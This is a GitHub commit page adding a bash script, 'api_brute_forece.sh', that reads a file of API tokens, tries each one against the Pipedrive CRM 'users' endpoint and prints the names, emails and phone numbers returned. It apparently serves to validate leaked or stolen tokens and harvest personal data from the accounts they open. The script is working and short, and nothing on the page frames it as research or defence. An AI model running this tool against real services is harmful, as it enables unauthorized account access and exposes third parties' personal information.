Skip to content

Commit

Permalink
Create api_brute_forece.sh
Browse files Browse the repository at this point in the history
  • Loading branch information
0x01369 committed Apr 11, 2024
1 parent 0f501bc commit 03430b4
Showing 1 changed file with 49 additions and 0 deletions.
49 changes: 49 additions & 0 deletions api_brute_forece.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
#!/bin/bash

base_url="https://api.pipedrive.com/v1"
endpoints=("activities" "activityfields" "activitytypes" "billing" "callLogs" "channels" "currencies" "dealFields" "deals" "files" "filters" "goals" "itemsearch" "leads" "leadlabels" "leadSources" "legacyteams" "mailbox" "meetings" "notefields" "notes" "organizationfields" "organizationrelationships" "organizations" "permissionsets" "personfields" "persons" "pipelines" "productfields" "products" "projects" "projecttemplates" "recents" "roles" "stages" "subscriptions" "tasks" "UserConnections" "users" "usersSettings")

# Read API tokens from token.txt file
api_tokens=$(<token.txt)

function make_api_request() {
local api_token=$1
local endpoint=$2
local url="$base_url/$endpoint?api_token=$api_token"
curl -s -X GET "$url"
}

function print_user_info() {
local user_data=$1
local user_count=$(echo "$user_data" | jq '.data | length')

if [[ $user_count -eq 0 ]]; then
echo "User not found."
return
fi

echo "User Information:"
echo "----------------------"

for ((i=0; i<user_count; i++)); do
username=$(echo "$user_data" | jq -r ".data[$i].name")
email=$(echo "$user_data" | jq -r ".data[$i].email")
phone=$(echo "$user_data" | jq -r ".data[$i].phone")
echo "Username: $username"
echo "Email: $email"
echo "Phone: $phone"

# Print API endpoints for each user
echo "API Endpoints:"
for endpoint in "${endpoints[@]}"; do
echo " - $endpoint"
done

echo "----------------------"
done
}

for api_token in $api_tokens; do
user_response_data=$(make_api_request "$api_token" "users")
print_user_info "$user_response_data"
done

0 comments on commit 03430b4

Please sign in to comment.